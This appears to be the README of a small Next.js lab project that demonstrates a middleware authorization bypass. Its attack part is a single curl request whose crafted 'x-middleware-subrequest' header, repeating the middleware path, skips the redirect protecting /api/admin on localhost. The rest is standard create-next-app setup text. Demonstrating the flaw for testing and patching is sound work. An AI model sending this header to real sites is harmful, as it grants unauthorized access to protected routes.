This is a Next.js project bootstrapped with create-next-app.

Testing the vulnerability

First, you can confirm that the middleware works and should redirect the user:

curl http://localhost:3000/api/admin

Then, you can show how the middleware is being bypassed with the followign command:

curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/api/admin

Getting Started

First, run the development server:

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Open http://localhost:3000 with your browser to see the result.

You can start editing the page by modifying app/page.tsx. The page auto-updates as you edit the file.

This project uses to automatically optimize and load , a new font family for Vercel.